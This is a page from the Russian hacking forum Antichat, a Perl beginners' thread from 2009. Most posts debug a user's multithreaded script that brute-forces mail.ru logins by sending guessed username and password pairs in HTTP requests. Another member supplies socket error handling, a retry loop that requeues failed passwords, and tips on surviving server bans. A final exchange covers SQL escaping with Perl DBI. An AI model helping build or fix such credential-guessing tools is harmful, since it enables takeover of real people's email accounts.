ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1171  
Старый 09.09.2009, 22:33
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

Но http:// то зачем дописывать?
 
Ответить с цитированием

  #1172  
Старый 09.09.2009, 22:38
Аватар для iveyk
iveyk
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме:
31294

Репутация: 0
По умолчанию

Убрал http:// та же ошибка
 
Ответить с цитированием

  #1173  
Старый 09.09.2009, 23:20
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

iveyk

Код:
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80); 
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".
Здесь не учитываются возможные ошибки при создании сокета. Т.е. надо добавить что то вроде:
Код:
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or {unshift(@pass, $pass); Brut(); exit()};

Последний раз редактировалось cr0w; 09.09.2009 в 23:28..
 
Ответить с цитированием

  #1174  
Старый 09.09.2009, 23:38
Аватар для iveyk
iveyk
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме:
31294

Репутация: 0
По умолчанию

Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал
 
Ответить с цитированием

  #1175  
Старый 09.09.2009, 23:59
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Цитата:
Сообщение от iveyk  
Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал
Я ж тебе объясняю, что ошибка в том, что сокет может и не создаться, а скрипт это не проверяет и пытается отправлять в него данные.
Я привел очень примерный код обработки ошибок при создании сокета. Код я тот уже слегка поправил - теперь там просто рекурсивный вызов поточной функции, а затем завершение потока. Вообще, рекурсия здесь далеко не лучшее решение, т.к. она может получиться очень глубокой. Поэтому лучше сделать как-то так:
Код:
my $sock;
while (!$sock) {$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or sleep(1)}
add: А еще лучше счетчик числа попыток подключений туда добавить, а то сервер может уйти в даун/забанить/и т.д., а скрипт будет зазря работать в бесконечном цикле. Сам разберешься с этим или помочь? (;

Последний раз редактировалось cr0w; 10.09.2009 в 00:50..
 
Ответить с цитированием

  #1176  
Старый 10.09.2009, 00:16
Аватар для iveyk
iveyk
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме:
31294

Репутация: 0
По умолчанию

Помочь, если не трудно я так понимаю у меня ни один сокет несоздаётся т.к. perl в инет даже невыходит
 
Ответить с цитированием

  #1177  
Старый 10.09.2009, 00:22
Аватар для iveyk
iveyk
Новичок
Регистрация: 17.06.2007
Сообщений: 12
Провел на форуме:
31294

Репутация: 0
По умолчанию

p.s. мне пишет что ошибка возникает в этой строке:
Код:
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n". "Host: ".$prefix.".mail.ru\r\n". "Accept: */*\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: ".$agents[$random]."\r\n". "Connection: close\r\n\r\n";
 
Ответить с цитированием

  #1178  
Старый 10.09.2009, 00:40
Аватар для cr0w
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Цитата:
Сообщение от iveyk  
Помочь, если не трудно я так понимаю у меня ни один сокет несоздаётся т.к. perl в инет даже невыходит
Проверь что-ли настройки файрволла. Вот скриптик:
Код:
use LWP::Simple; print get('http://mail.ru')
- должен возвращать код страницы сайта, если все норм.

Цитата:
Сообщение от iveyk  
p.s. мне пишет что ошибка возникает в этой строке:
Это видно из твоего первого сообщения...
 
Ответить с цитированием

  #1179  
Старый 14.09.2009, 22:30
Аватар для BlackSun
BlackSun
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Есть следующий кодес:
Код:
my $q=new CGI;
$dbh = DBI->connect(..
my $uid=($q->cookie('uid') or '');
my $sth = $dbh->prepare("SELECT id,cust_id FROM ad_session WHERE id=? AND ip=? AND useragent=?");
$sth->execute($uid, $ENV{REMOTE_ADDR}, $ENV{HTTP_USER_AGENT});
Интересует, есть ли в функции DBI::execute аналог addslashes \ mysql_escape \ etc? С перлом не дружу ..
 
Ответить с цитированием

  #1180  
Старый 14.09.2009, 22:51
Аватар для Kaimi
Kaimi
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме:
18127311

Репутация: 1676


Отправить сообщение для Kaimi с помощью ICQ
По умолчанию

quote

$sql = $dbh->quote($value);
$sql = $dbh->quote($value, $data_type);

Quote a string literal for use as a literal value in an SQL statement, by escaping any special characters (such as quotation marks) contained within the string and adding the required type of outer quotation marks.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[php] Новичкам: задаем вопросы _Great_ PHP, PERL, MySQL, JavaScript 16396 17.06.2010 21:19
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ